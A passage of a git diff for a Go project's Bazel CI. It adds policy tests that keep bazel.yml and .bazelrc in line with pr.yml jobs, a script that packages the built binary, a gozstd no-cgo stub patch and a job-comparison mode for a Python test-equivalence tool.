t.Fatalf(".bazelrc lacks %q", want) +} + +// TestBazelrcPrcoreMatchesPRCoreParallel keeps test:prcore's -test.parallel +// equal to pr-core.sh's -parallel default: without it Go uses GOMAXPROCS, the +// executor's core count, and runs far more tests at once than PR Core does. +func TestBazelrcPrcoreMatchesPRCoreParallel(t *testing.T) { + root := bazelPolicyRoot(t) + m := regexp.MustCompile(`(?m)^GO_TEST_PARALLEL="\$\{GO_TEST_PARALLEL:-(\d+)\}"$`).FindStringSubmatch(readPolicyFile(t, root, "scripts/ci/pr-core.sh")) + if m == nil { + t.Fatal("scripts/ci/pr-core.sh has no GO_TEST_PARALLEL default") + } + want := "test:prcore --test_arg=-test.parallel=" + m[1] + for _, line := range strings.Split(readPolicyFile(t, root, ".bazelrc"), "\n") { + if strings.TrimSpace(line) == want { + return + } + } + t.Fatalf(".bazelrc lacks %q (pr-core.sh runs go test -parallel %s)", want, m[1]) +} + +// Docker-lane results depend on host state no action key sees (daemon, dolt +// image, network), so they must always execute, like the container jobs' +// -count=1; and no remote-exec run may upload a locally executed result to +// the shared cache. +func TestBazelrcDockerLaneNeverCached(t *testing.T) { + lines := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + lines[strings.TrimSpace(line)] = true + } + for _, want := range []string{ + "test:docker --nocache_test_results", + "build:remote-exec --noremote_upload_local_results", + } { + if !lines[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } +} diff --git a/scripts/ci/package-bazel-bd.sh b/scripts/ci/package-bazel-bd.sh new file mode 100755 index 000000000..63d9551d0 --- /dev/null +++ b/scripts/ci/package-bazel-bd.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Packages the Bazel-built bd in pr.yml's ci-build-artifacts layout +# (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt) for bazel.yml. +# +# The binary is //cmd/bd:bd_for_tests, the non-race gms_pure_go cgo bd that +# Bazel's own tests exec (//cmd/bd:bd is race built under --config=ci); run +# after `bazel test //... --config=ci`, whose test:ci downloads it. Unlike +# `go build`, it carries no vcs.* or CGO_ENABLED build settings, so +# `bd version` shows no commit and scripts/verify-cgo.sh would pass +# vacuously; no consumer of the artifact reads either. +# +# Usage: scripts/ci/package-bazel-bd.sh OUT_DIR +set -euo pipefail + +out="${1:?usage: $0 OUT_DIR}" +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +cd "$repo_root" +# For BEADS_BUILD_TAGS (the manifest's build_tags, as in pr.yml). +# shellcheck source=/dev/null +source ./.buildflags + +mapfile -t found < <(find -H bazel-out -path '*/bin/cmd/bd/bd_for_tests/bd' -type f) +if [ "${#found[@]}" -ne 1 ]; then + echo "::error::want exactly one //cmd/bd:bd_for_tests output, found ${#found[@]}: ${found[*]}" + exit 1 +fi + +mkdir -p "$out" +install -m 755 "${found[0]}" "$out/bd-linux-gms-pure" +cd "$out" +./bd-linux-gms-pure version +sha256sum bd-linux-gms-pure > SHA256SUMS +{ + echo "commit=$(git -C "$repo_root" rev-parse HEAD)" + echo "go_version=$(go version bd-linux-gms-pure | sed 's/^[^:]*: //')" + echo "build_tags=${BEADS_BUILD_TAGS}" + echo "artifact=bd-linux-gms-pure" + echo "builder=bazel //cmd/bd:bd_for_tests" +} > build-manifest.txt diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 5d700bc22..c74de88de 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1170,6 +1170,7 @@ type ciWorkflowJob struct { ContinueOnError bool `yaml:"continue-on-error"` TimeoutMinutes int `yaml:"timeout-minutes"` Strategy ciWorkflowStrategy `yaml:"strategy"` + Env map[string]string `yaml:"env"` } type ciWorkflowStrategy struct { @@ -1423,6 +1424,8 @@ func captureOne(t *testing.T, pattern, body, source string) string { const ( bazelWorkflowName = "bazel.yml" bazelJobName = "bazel-test" + bazelPureJobName = "bazel-pure" + bazelDockerJobName = "bazel-docker" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" @@ -1436,6 +1439,10 @@ const ( "steps.bazel.outcome == 'success' && steps.bazel.outputs.cache-hit != 'true' }}" ) +// bazel.yml's jobs: the --config=ci lane, and one job per pr.yml job a Bazel +// config mirrors. +var bazelJobNames = []string{bazelDockerJobName, bazelPureJobName, bazelJobName} + // The only triggers bazel.yml may have. pull_request_target (and // workflow_run) would run with secrets in the context of fork PRs. var bazelWorkflowTriggers = []string{"merge_group", "pull_request", "push", "workflow_call", "workflow_dispatch"} @@ -1468,17 +1475,48 @@ func readSetupBazelAction(t *testing.T) ciCompositeAction { // it: no ci-gate may need it or list it in CI_GATE_REQUIRED. func TestBazelWorkflowIsAdvisory(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) - if len(workflow.Jobs) != 1 { - t.Errorf("%s jobs = %d, want only %q", bazelWorkflowName, len(workflow.Jobs), bazelJobName) + var names []string + for name, job := range workflow.Jobs { + names = append(names, name) + if job.ContinueOnError { + t.Errorf("%s continue-on-error hides failures; the lane is advisory by staying out of ci-gate", name) + } + if job.TimeoutMinutes == 0 { + t.Errorf("%s has no timeout-minutes", name) + } } - job := workflow.job(t, bazelJobName) - // The farm admits the Blacksmith pool only; forks (no secrets) and rbe=off + sort.Strings(names) + if !reflect.DeepEqual(names, bazelJobNames) { + t.Errorf("%s jobs = %v, want %v", bazelWorkflowName, names, bazelJobNames) + } + // Every job uses setup-bazel's remote executor when secrets allow. The + // farm admits the Blacksmith pool only; forks (no secrets) and rbe=off // build locally on the GitHub-hosted runner. - if want := "${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}"; job.RunsOn != want { - t.Errorf("%s runs-on = %q, want %q", bazelJobName, job.RunsOn, want) + const wantRunsOn = "${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }}" + // rbe-west (instance "oss") is switched on by the repo variable + // RBE_WEST_WORKERS; until then same-repo runs are skipped and only fork + // PRs and rbe=off dispatches run, locally. + const wantIf = "${{ vars.RBE_WEST_WORKERS == 'true' || inputs.rbe == 'off' || github.event.pull_request.head.repo.fork == true }}" + gate := "(inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && " + wantSetupEnv := map[string]string{ + "BAZEL_REMOTE_EXECUTOR": "${{ " + gate + "secrets.RBE_WEST_EXECUTOR || '' }}", + "RBE_TLS_CERT": "${{ " + gate + "secrets.RBE_TLS_CERT || '' }}", + "RBE_TLS_KEY": "${{ " + gate + "secrets.RBE_TLS_KEY || '' }}", + "RBE_TLS_CA": "${{ " + gate + "secrets.RBE_TLS_CA || '' }}", + "RBE_INSTANCE": "${{ " + gate + "'oss' || '' }}", } - if job.ContinueOnError { - t.Errorf("%s continue-on-error hides failures; the lane is advisory by staying out of ci-gate", bazelJobName) + for name, job := range workflow.Jobs { + if job.RunsOn != wantRunsOn { + t.Errorf("%s runs-on = %q, want %q", name, job.RunsOn, wantRunsOn) + } + if job.If != wantIf { + t.Errorf("%s if = %q, want %q", name, job.If, wantIf) + } + for _, step := range job.Steps { + if step.Uses == "./"+setupBazelActionDir && !reflect.DeepEqual(step.Env, wantSetupEnv) { + t.Errorf("%s setup-bazel env = %v, want %v", name, step.Env, wantSetupEnv) + } + } } for _, name := range []string{"pr.yml", "pr-risk.yml"} { for jobName, j := range readCIWorkflow(t, name).Jobs { @@ -1504,10 +1542,13 @@ func TestBazelWorkflowIsAdvisory(t *testing.T) { // here too (restore everywhere, save only where the topology says). func TestBazelWorkflowActionsArePinned(t *testing.T) { steps := map[string][]ciWorkflowStep{ - bazelWorkflowName: readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps, setupBazelActionDir + "/action.yml": readSetupBazelAction(t).Runs.Steps, } + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + steps[bazelWorkflowName+" "+name] = job.Steps + } want := map[string]string{ + setupNodeActionFamily: setupNodeSHA, "actions/checkout": checkoutSHA, setupGoActionFamily: setupGoSHA, cacheRestoreActionFamily: cacheSHA, @@ -1538,8 +1579,8 @@ func TestBazelWorkflowActionsArePinned(t *testing.T) { if family == setupGoActionFamily && step.With["cache"] != "false" { t.Errorf("%s setup-go cache = %q, want false", file, step.With["cache"]) } - if family == cacheSaveActionFamily && file != bazelWorkflowName { - t.Errorf("%s step %q saves a cache; only %s's push-to-main step may", file, step.Name, bazelWorkflowName) + if family == cacheSaveActionFamily && file != bazelWorkflowName+" "+bazelJobName { + t.Errorf("%s step %q saves a cache; only %s's push-to-main step may", file, step.Name, bazelJobName) } } for _, step := range list { @@ -1634,6 +1675,182 @@ func TestBazelWorkflowRunsCIConfigWithReports(t *testing.T) { } } +// bazel.yml publishes a Bazel-built bd under pr.yml's build-artifacts contract +// (artifact name, file names, checksum file, retention), so the jobs that +// download ci-build-artifacts can switch to it without other edits. +func TestBazelWorkflowPublishesBuildArtifacts(t *testing.T) { + var prUpload ciWorkflowStep + for _, step := range readCIWorkflow(t, "pr.yml").job(t, "build-artifacts").Steps { + if actionFamily(step.Uses) == "actions/upload-artifact" { + prUpload = step + } + } + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + pkg := job.step(t, "Package bd (ci-build-artifacts layout)") + upload := job.step(t, "Upload build artifacts") + if prUpload.With["name"] != "ci-build-artifacts" || upload.With["name"] != prUpload.With["name"] { + t.Errorf("artifact name = %q, want pr.yml's %q (ci-build-artifacts)", upload.With["name"], prUpload.With["name"]) + } + for _, key := range []string{"retention-days", "if-no-files-found"} { + if upload.With[key] != prUpload.With[key] { + t.Errorf("upload %s = %q, want pr.yml's %q", key, upload.With[key], prUpload.With[key]) + } + } + if pkg.ID == "" || upload.If != "${{ always() && steps."+pkg.ID+".outcome == 'success' }}" { + t.Errorf("upload if = %q; want it gated on the package step's success", upload.If) + } + // The commands live in a script that sources .buildflags itself, so the + // build-tag scan (scripts/check-build-tags.sh) still covers bazel.yml. + const script = "scripts/ci/package-bazel-bd.sh" + if pkg.Run != "./"+script+` "$RUNNER_TEMP/bd-artifacts"` { + t.Errorf("package step = %q, want %s", pkg.Run, script) + } + if strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".github/workflows/"+bazelWorkflowName), ".buildflags") { + t.Errorf("%s mentions .buildflags; sourcing it would exempt the whole file from the build-tag scan", bazelWorkflowName) + } + body := readPolicyFile(t, bazelPolicyRoot(t), script) + for _, required := range []string{ + "set -euo pipefail", "source ./.buildflags", + "/bin/cmd/bd/bd_for_tests/bd", "bd-linux-gms-pure", "sha256sum bd-linux-gms-pure > SHA256SUMS", + "build-manifest.txt", "commit=", "go_version=", "build_tags=", "artifact=bd-linux-gms-pure", + } { + if !strings.Contains(body, required) { + t.Errorf("%s does not contain %q", script, required) + } + } + // test:ci must download the binary under --remote_download_minimal. + if !strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$") { + t.Error(".bazelrc test:ci does not download //cmd/bd:bd_for_tests") + } +} + +// bazel-docker replaces pr.yml's container-backed jobs: --config=docker on a +// runner with a docker daemon and the same pre-pulled dolt image, and a +// requires-docker variant in every package those jobs start containers in. +func TestBazelDockerJobMirrorsContainerJobs(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml") + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelDockerJobName) + for _, name := range []string{"test-domain-uow", "contract-corpus"} { + prJob := pr.job(t, name) + if pull := prJob.step(t, "Pull Dolt sql-server image").Run; job.step(t, "Pull Dolt sql-server image").Run != pull { + t.Errorf("%s pulls the dolt image differently from %s (%q)", bazelDockerJobName, name, pull) + } + } + if job.Env["BAZEL_DOCKER_LANE"] != "docker" { + t.Errorf("%s BAZEL_DOCKER_LANE = %q, want docker", bazelDockerJobName, job.Env["BAZEL_DOCKER_LANE"]) + } + test := job.step(t, "bazel test //... --config=docker") + if !strings.Contains(test.Run, `bazel test //... "--config=$BAZEL_DOCKER_LANE"`) || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("docker lane step does not run the lane over //...:\n%s", test.Run) + } + if strings.Contains(test.Run, "--config=remote-exec") { + t.Errorf("docker lane step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + } + assertTestStepKeepsExitStatus(t, test) + + // The packages whose tests start dolt containers in those jobs + // (test-domain-uow: domain/..., uow, tracker/... and doctor/fix; + // contract-corpus: protocol) each need a requires-docker target. Only + // under go test: scripts_test's runfiles hold no other package's BUILD. + if os.Getenv("TEST_SRCDIR") != "" { + return + } + root := sourceRepoRoot(t) + for _, pkg := range []string{"internal/storage/domain/db", "internal/storage/uow", "internal/tracker", "cmd/bd/doctor/fix", "cmd/bd/protocol"} { + if !strings.Contains(readPolicyFile(t, root, pkg+"/BUILD.bazel"), `"requires-docker"`) { + t.Errorf("%s/BUILD.bazel has no requires-docker variant for the docker lane", pkg) + } + } +} + +// bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure +// cmd/bd test selector, the same pure build set, and the js/wasm hook test +// under the same exact-count guard. +func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml").job(t, "check-cmd-bd-puregeo-tests") + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName) + + prSubset := pr.step(t, "Run pure-Go cmd/bd test subset (CGO_ENABLED=0)").Run + m := regexp.MustCompile(`-run '([^']+)' \./cmd/bd`).FindStringSubmatch(prSubset) + if m == nil { + t.Fatalf("cannot find the -run selector in pr.yml's pure subset step:\n%s", prSubset) + } + if job.Env["PURE_CMD_BD_TESTS"] != m[1] || !strings.Contains(prSubset, "-short") { + t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) + } + run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run + for _, required := range []string{"bazel test --config=pure //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { + if !strings.Contains(run, required) { + t.Errorf("pure subset step does not contain %q:\n%s", required, run) + } + } + if !strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "test:pure --test_arg=-test.short") { + t.Error(".bazelrc test:pure does not pass -test.short like the pr.yml subset") + } + + build := job.step(t, "Build cmd/bd and pure-Go test binaries (--config=pure)").Run + prBuild := pr.step(t, "Build cmd/bd (CGO_ENABLED=0, gms_pure_go)").Run + pr.step(t, "Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go)").Run + for pkg, target := range map[string]string{ + "go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd": "//cmd/bd:bd", + "-o /tmp/bd-cmd-puregeo-test ./cmd/bd": "//cmd/bd:bd_test", + "-o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt": "//internal/storage/embeddeddolt:embeddeddolt_test", + "-o /tmp/bd-tracker-puregeo-test ./internal/tracker": "//internal/tracker:tracker_test", + } { + if !strings.Contains(prBuild, pkg) { + t.Errorf("pr.yml pure build steps no longer contain %q; update %s to match", pkg, bazelPureJobName) + } + if !strings.Contains(build, target) || !strings.Contains(build, "bazel build --config=pure") { + t.Errorf("pure build step does not build %s:\n%s", target, build) + } + } + + // `go build` rejects a pure binary that imports gozstd at compile time; + // Bazel compiles gozstd's stubs, whose init panics, so the lane must start + // every pure artifact (bd_test starts in the subset step above). + start := job.step(t, "Start every pure-Go artifact (gozstd contamination check)").Run + for _, required := range []string{ + "set -euo pipefail", + "bazel run --config=pure //cmd/bd:bd -- version", + "bazel test --config=pure", + "//internal/storage/embeddeddolt:embeddeddolt_test", + "//internal/tracker:tracker_test", + "'--test_arg=-test.run=^$'", + } { + if !strings.Contains(start, required) { + t.Errorf("pure artifact start step does not contain %q:\n%s", required, start) + } + } + if os.Getenv("TEST_SRCDIR") == "" { + patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") + if !strings.Contains(patch, "+func init() { panic(") { + t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") + } + } + + prWasm := pr.step(t, "Run js/wasm hook boundary").Run + wasm := job.step(t, "Run js/wasm hook boundary").Run + for _, required := range []string{"bazel build --config=js-wasm //internal/hooks:hooks_test", "go_js_wasm_exec"} { + if !strings.Contains(wasm, required) { + t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) + } + } + // The selector and everything from the count guard on are pr.yml's. + const selector = "run '^TestRunHookReportsUnsupportedExecution$'" + if !strings.Contains(prWasm, " -"+selector) || !strings.Contains(wasm, " -test."+selector) { + t.Errorf("js/wasm selector drifted from pr.yml's %q", selector) + } + guard := func(script string) string { + i := strings.Index(script, "run_count=0") + if i < 0 { + return "" + } + return script[i:] + } + if guard(wasm) == "" || guard(wasm) != guard(prWasm) { + t.Errorf("js/wasm count guard differs from pr.yml's:\n--- pr.yml\n%s\n--- %s\n%s", guard(prWasm), bazelPureJobName, guard(wasm)) + } +} + // swallowedExit matches shell that hides a failing command's status. var swallowedExit = regexp.MustCompile(`\bexit\b|\|\|\s*(true|:)|;\s*(true|:)\s*$|\bset\s+\+e\b|\btrap\b`) @@ -1787,13 +2004,17 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { } setupSteps := map[string]bool{} - for i, step := range readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps { - if step.Uses == "./"+setupBazelActionDir { - setupSteps[fmt.Sprintf(".jobs.%s.steps[%d].env.", bazelJobName, i)] = true + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + n := 0 + for i, step := range job.Steps { + if step.Uses == "./"+setupBazelActionDir { + setupSteps[fmt.Sprintf(".jobs.%s.steps[%d].env.", name, i)] = true + n++ + } + } + if n != 1 { + t.Errorf("%s job %s has %d setup-bazel steps, want 1", bazelWorkflowName, name, n) } - } - if len(setupSteps) != 1 { - t.Errorf("%s has %d setup-bazel steps, want 1", bazelWorkflowName, len(setupSteps)) } secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index 31c29bfc2..247e7f244 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -6,6 +6,11 @@ # dolt_go_serial.patch are adapted from the gascity project # (github.com/gastownhall/gascity, third_party/patches). Keep them in sync # when bumping the pinned dolt versions in go.mod. +# +# gozstd_nocgo.patch is beads' own: panicking !cgo stubs for the gozstd API +# dolt uses, so `--config=pure` (CGO off) can compile store/nbs, which rules_go +# builds as a declared dep even though no pure-Go file imports it. Their init +# panics, so a pure binary that does link gozstd fails when started. package(default_visibility = ["//visibility:public"]) diff --git a/third_party/patches/gozstd_nocgo.patch b/third_party/patches/gozstd_nocgo.patch new file mode 100644 index 000000000..f874a6b0e --- /dev/null +++ b/third_party/patches/gozstd_nocgo.patch @@ -0,0 +1,69 @@ +diff --git a/BUILD.bazel b/BUILD.bazel +--- a/BUILD.bazel ++++ b/BUILD.bazel +@@ -25,6 +25,7 @@ go_library( + "fse_compress.c", + "fse_decompress.c", + "gozstd.go", ++ "nocgo.go", + "hist.c", + "hist.h", + "huf.h", +diff --git a/nocgo.go b/nocgo.go +new file mode 100644 +--- /dev/null ++++ b/nocgo.go +@@ -0,0 +1,44 @@ ++//go:build !cgo ++ ++// Added by beads (third_party/patches/gozstd_nocgo.patch). gozstd wraps the ++// zstd C library, so without cgo it does not compile, and rules_go compiles ++// every declared dep even when only cgo-constrained files import it. These ++// stubs let `bazel build --config=pure` compile dolt's store/nbs (a dep of ++// beads' cgo-only embedded-Dolt files); `go build` never compiles them because ++// a CGO_ENABLED=0 bd does not import nbs. The package init panics, so a pure ++// binary that links gozstd (the contamination `go build` rejects with ++// CGO_ENABLED=0) fails at startup; bazel.yml's pure lane runs every pure ++// artifact to catch it. The entry points panic as well. ++package gozstd ++ ++const DefaultCompressionLevel = 3 ++ ++const errNoCgo = "gozstd: built without cgo" ++ ++func init() { panic(errNoCgo + " (linked into a pure binary)") } ++ ++type CDict struct{} ++ ++type DDict struct{} ++ ++func (cd *CDict) Release() {} ++ ++func (dd *DDict) Release() {} ++ ++func NewCDict(dict []byte) (*CDict, error) { panic(errNoCgo) } ++ ++func NewCDictLevel(dict []byte, compressionLevel int) (*CDict, error) { panic(errNoCgo) } ++ ++func NewDDict(dict []byte) (*DDict, error) { panic(errNoCgo) } ++ ++func BuildDict(samples [][]byte, desiredDictLen int) []byte { panic(errNoCgo) } ++ ++func Compress(dst, src []byte) []byte { panic(errNoCgo) } ++ ++func CompressLevel(dst, src []byte, compressionLevel int) []byte { panic(errNoCgo) } ++ ++func CompressDict(dst, src []byte, cd *CDict) []byte { panic(errNoCgo) } ++ ++func Decompress(dst, src []byte) ([]byte, error) { panic(errNoCgo) } ++ ++func DecompressDict(dst, src []byte, dd *DDict) ([]byte, error) { panic(errNoCgo) } +diff --git a/stream.go b/stream.go +--- a/stream.go ++++ b/stream.go +@@ -1,3 +1,5 @@ ++//go:build cgo ++ + package gozstd + + import ( diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index acb2132b0..aae3c2252 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -30,6 +30,18 @@ Two checks always run, a third when `go test -json` output is supplied: test but run under Bazel) are reported, not failed: a failing test already fails its own lane. +Job mode (--job, with --go-test-json): the go test JSON is the whole expected +set instead of `go list ./...`. Use it to prove that a Bazel selection (one or +more --bep runs, e.g. --config=ci plus --config=docker) replaces one specific +CI job: every top-level test the job's command ran must have run under Bazel, +Bazel must run no other test in those packages, and no test the job passed may +be skipped under Bazel. A test seen in several targets (a go_test and its +go_test_variant.sh sh_test) keeps its best status here, since each variant is +a different way of running it and the job needs one run that does what it +does; the default mode keeps the worst. A failure in any target still fails a +job comparison (listed per target), and so does a missing test.xml of any +target in the job's packages, variant or not. + Divergences listed in the allowlist (tools/bazel/equivalence_allowlist.txt) are expected; anything else fails. The allowlist format is one entry per line: @@ -58,6 +70,9 @@ GO_LIST_ARGS = ["list", "-e", "-race", "-tags", "gms_pure_go", "-json", "./..."] SKIP_RE = re.compile(r"^TestEmbedded") TEST_FUNC_RE = re.compile(r"^func\s+(Test\w*)\s*\(\s*\w+\s+\*testing\.T\s*\)", re.M) STATUS_RANK = {"skipped": 0, "passed": 1, "failed": 2} +# Job mode: the variant that actually ran a test wins (a failure still fails +# the Bazel run that produced it). +BEST_RANK = {"failed": 0, "skipped": 1, "passed": 2} GO_TEST_STATUS = {"pass": "passed", "fail": "failed", "skip": "skipped"} ALLOW_KINDS = ("run", "skip") DEFAULT_ALLOWLIST = os.path.join(os.path.dirname(os.path.abspath(__file__)), "equivalence_allowlist.txt") @@ -142,10 +157,16 @@ def query_go_test_pkgs(root, bazel): return {label_pkg(l) for l in out.split()} +# go_test_variant.sh variants are sh_tests that run a go_test binary, which +# writes the same test.xml. +TEST_KINDS = ("go_test rule", "sh_test rule") + + def read_bep(path): - """Return ({label: shard_count} for tested go_test targets, set of go_test - labels configured, this invocation's testlogs dir or None).""" - go_tests, shards = set(), {} + """Return ({label: shard_count} for tested go_test targets and sh_test + variants, set of go_test labels configured, this invocation's testlogs dir + or None).""" + go_tests, tests, shards = set(), set(), {} exec_root, testlogs_rel = None, None with open(path, encoding="utf-8") as f: for line in f: @@ -160,12 +181,15 @@ def read_bep(path): if link.get("path", "").endswith("testlogs") and link.get("target"): testlogs_rel = link["target"] elif "targetConfigured" in eid: - if ev.get("configured", {}).get("targetKind") == "go_test rule": + kind = ev.get("configured", {}).get("targetKind") + if kind in TEST_KINDS: + tests.add(eid["targetConfigured"]["label"]) + if kind == "go_test rule": go_tests.add(eid["targetConfigured"]["label"]) elif "testResult" in eid: tr = eid["testResult"] shards[tr["label"]] = max(shards.get(tr["label"], 0), int(tr.get("shard", 1) or 1)) - tested = {l: n for l, n in shards.items() if l in go_tests} + tested = {l: n for l, n in shards.items() if l in tests} testlogs = None if exec_root and testlogs_rel: # The symlink target is relative to the output base, two levels above @@ -183,14 +207,24 @@ def testlog_xmls(testlogs, label, shard_count): return [os.path.join(base, f"shard_{i}_of_{shard_count}", "test.xml") for i in range(1, shard_count + 1)] -def bazel_observed(tested, testlogs): - """Return ({pkg: {test: status}}, [problems]).""" - observed, problems = {}, [] +def bazel_observed(tested, testlogs, go_tests, best=False, observed=None, failures=None, no_xml=None): + """Return ({pkg: {test: status}}, [problems]), merged into observed. + + Job mode (best) also collects (pkg, "Test (label)") for every failed test + in failures and (pkg, label) for every missing test.xml in no_xml.""" + observed, problems = ({} if observed is None else observed), [] for label, n in sorted(tested.items()): pkg = label_pkg(label) per = observed.setdefault(pkg, {}) for xml_path in testlog_xmls(testlogs, label, n): if not os.path.exists(xml_path): + if best and no_xml is not None: + # Bazel writes a test.xml for every test, so a variant's + # is missing only if it was never downloaded. + no_xml.append((pkg, f"{label}: {os.path.relpath(xml_path, testlogs)}")) + continue + if label not in go_tests: + continue # an sh_test that is not a variant may write none problems.append(f"{label}: {xml_path} missing (was test.xml downloaded? run with --config=ci)") continue try: @@ -211,10 +245,14 @@ def bazel_observed(tested, testlogs): status = "skipped" else: status = "passed" - # A test seen in several targets keeps its worst status. - if name not in per or STATUS_RANK[status] > STATUS_RANK[per[name]]: + if status == "failed" and failures is not None: + failures.append((pkg, f"{name} ({label})")) + # A test seen in several targets keeps its worst status (best in + # job mode). + rank = BEST_RANK if best else STATUS_RANK + if name not in per or rank[status] > rank[per[name]]: per[name] = status - if count == 0 and os.path.getsize(xml_path) < 64: + if count == 0 and label in go_tests and os.path.getsize(xml_path) < 64: # An empty means the binary ran no tests at all # (or GO_TEST_WRAP_TESTV was off). The test-name diff reports # which tests are missing; note it here for the log. @@ -253,7 +291,10 @@ def allowed(entries, pkg, test, kind="run"): def main(argv=None): ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) - ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument( + "--bep", required=True, action="append", + help="--build_event_json_file of a bazel test run (repeatable: results are merged)", + ) ap.add_argument("--root", default=os.getcwd(), help="workspace root (default: cwd)") ap.add_argument("--testlogs", default=None, help="default: from the BEP, else /bazel-testlogs") ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) @@ -266,18 +307,40 @@ def main(argv=None): ap.add_argument("--no-query", action="store_true", help="skip the bazel query package-set check") ap.add_argument("--details", action="store_true", help="list every divergence (nightly)") ap.add_argument("--summary", default=None, help="append Markdown here (default: $GITHUB_STEP_SUMMARY)") + ap.add_argument( + "--job", action="store_true", + help="compare with --go-test-json as one CI job's complete test set (see Job mode above)", + ) args = ap.parse_args(argv) + if args.job and not args.go_test_json: + ap.error("--job needs --go-test-json") root = os.path.abspath(args.root) entries, allow_errors = load_allowlist(args.allowlist) expected, dirs = go_expected(root, args.go_list_json) - tested, configured, bep_testlogs = read_bep(args.bep) - # Prefer the BEP's own testlogs dir: the bazel-testlogs symlink follows - # whatever bazel command ran last, possibly in another output base. - testlogs = args.testlogs or bep_testlogs or os.path.join(root, "bazel-testlogs") - observed, problems = bazel_observed(tested, testlogs) - target_pkgs = None if args.no_query else query_go_test_pkgs(root, args.bazel) + observed, problems, configured, tested = {}, [], set(), {} + failures, no_xml = [], [] + for bep in args.bep: + bep_tested, bep_configured, bep_testlogs = read_bep(bep) + configured |= bep_configured + tested.update(bep_tested) + # Prefer the BEP's own testlogs dir: the bazel-testlogs symlink follows + # whatever bazel command ran last, possibly in another output base. + testlogs = args.testlogs or bep_testlogs or os.path.join(root, "bazel-testlogs") + _, bep_problems = bazel_observed( + bep_tested, testlogs, bep_configured, args.job, observed, + failures if args.job else None, no_xml if args.job else None) + problems += bep_problems + target_pkgs = None if (args.no_query or args.job) else query_go_test_pkgs(root, args.bazel) + go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None + if args.job: + # The job's own results are the expected set; other packages Bazel + # ran are out of scope. + expected = {pkg: set(ts) for pkg, ts in go_status.items()} + observed = {pkg: seen for pkg, seen in observed.items() if pkg in expected} + failures = sorted(set(f for f in failures if f[0] in expected)) + no_xml = sorted(set(m for m in no_xml if m[0] in expected)) no_target, missing, extra, allowlisted = [], [], [], [] if target_pkgs is not None: @@ -295,7 +358,6 @@ def main(argv=None): # Skip parity: passed under go test, skipped under Bazel. skip_div, skip_allowed, parity_notes = [], [], [] - go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None if go_status is not None: for pkg, seen in sorted(observed.items()): gs = go_status.get(pkg, {}) @@ -312,14 +374,16 @@ def main(argv=None): # Dedupe allowlisted pairs (a package-level entry also covers its tests). allowlisted = sorted(set(allowlisted)) # Skip entries can only be exercised when go test statuses are known. - unused = [e for e in entries if not e["used"] and (e["kind"] == "run" or go_status is not None)] + # (The allowlist describes the --config=ci lane; a job comparison uses only + # the entries that apply.) + unused = [] if args.job else [e for e in entries if not e["used"] and (e["kind"] == "run" or go_status is not None)] statuses = {"passed": 0, "skipped": 0, "failed": 0} for seen in observed.values(): for s in seen.values(): statuses[s] += 1 n_expected = sum(len(v) for v in expected.values()) - ok = not (no_target or missing or extra or skip_div or allow_errors) + ok 